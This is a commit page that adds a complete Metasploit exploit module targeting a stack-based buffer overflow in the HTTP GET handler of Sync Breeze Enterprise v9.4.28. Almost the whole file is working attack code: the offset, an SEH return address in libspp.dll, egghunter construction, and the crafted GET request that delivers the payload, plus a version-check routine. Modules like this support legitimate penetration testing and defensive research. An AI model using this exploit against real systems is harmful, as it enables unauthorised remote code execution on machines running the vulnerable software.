Skip to content

Commit 5329ce5

Browse files
Sync Breeze Enterprise GET Buffer Overflow
1 parent 57eac49 commit 5329ce5

File tree

1 file changed

+104
-0
lines changed

1 file changed

+104
-0
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::Seh
12+
include Msf::Exploit::Remote::Egghunter
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a stack-based buffer overflow vulnerability
20+
in the web interface of Sync Breeze Enterprise v9.4.28, caused by
21+
improper bounds checking of the request path in HTTP GET requests
22+
sent to the built-in web server. This module has been tested
23+
successfully on Windows 7 SP1 x86.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Daniel Teixeira'
29+
],
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'thread'
33+
},
34+
'Platform' => 'win',
35+
'Payload' =>
36+
{
37+
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
38+
'Space' => 500
39+
},
40+
'Targets' =>
41+
[
42+
[ 'Sync Breeze Enterprise v9.4.28',
43+
{
44+
'Offset' => 2488,
45+
'Ret' => 0x10015fde # POP # POP # RET [libspp.dll]
46+
}
47+
]
48+
],
49+
'Privileged' => true,
50+
'DisclosureDate' => 'Mar 15 2017',
51+
'DefaultTarget' => 0))
52+
end
53+
54+
def check
55+
res = send_request_cgi(
56+
'method' => 'GET',
57+
'uri' => '/'
58+
)
59+
60+
if res && res.code == 200
61+
version = res.body[/Sync Breeze Enterprise v[^<]*/]
62+
if version
63+
vprint_status("Version detected: #{version}")
64+
if version =~ /9\.4\.28/
65+
return Exploit::CheckCode::Appears
66+
end
67+
return Exploit::CheckCode::Detected
68+
end
69+
else
70+
vprint_error('Unable to determine due to a HTTP connection timeout')
71+
return Exploit::CheckCode::Unknown
72+
end
73+
74+
Exploit::CheckCode::Safe
75+
end
76+
77+
def exploit
78+
79+
eggoptions = {
80+
checksum: true,
81+
eggtag: rand_text_alpha(4, payload_badchars)
82+
}
83+
84+
hunter, egg = generate_egghunter(
85+
payload.encoded,
86+
payload_badchars,
87+
eggoptions
88+
)
89+
90+
sploit = rand_text_alpha(target['Offset'])
91+
sploit << generate_seh_record(target.ret)
92+
sploit << hunter
93+
sploit << make_nops(10)
94+
sploit << egg
95+
sploit << rand_text_alpha(5500)
96+
97+
print_status('Sending request...')
98+
99+
send_request_cgi(
100+
'method' => 'GET',
101+
'uri' => sploit
102+
)
103+
end
104+
end

0 commit comments

Comments
 (0)